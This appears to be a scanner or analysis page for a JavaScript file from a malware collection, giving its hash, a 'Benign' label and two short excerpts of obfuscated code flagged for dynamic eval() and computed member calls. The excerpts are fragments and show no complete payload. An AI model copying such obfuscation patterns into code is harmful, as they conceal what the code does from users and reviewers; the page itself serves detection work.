Benign javascript-malware-collection Download

20170315_a619b6a40c3be963562cbf54e36b45db.js

Calls computed member from function resultExecutes JavaScript dynamically with eval()

SHA-256c9917861f3cc6ec0bdb89a7e32f44e2067f13b0e36d41a8b22ebd5b67331f3b0

Evidence

Executes JavaScript dynamically with eval() lines 880–884

880:3… vjat = "in.";
881	kafxe = [ovjat];
882	return kafxe[0];
883}
884var coziv = eval(ykquwwynj(NaN) + emorpesx(NaN) + xlarxymv(NaN))[bnagxesgy(NaN) + palloq(NaN) + pfynmosi(NaN) + ugqumit(NaN)](otitgev(NaN) + ams …

Calls computed member from function result lines 902–904

902:17… dipaban2[ehfucca(NaN) + orpusz(NaN)]();
903	ebtagpipli5 = libmomda5[emsoqy(NaN)](ndagfo(NaN) + ovradesw(NaN) + ejigpo(NaN) + obtosub(NaN) + duzixike0 + bipiqodsa0, fnyxivmo(NaN));
904//}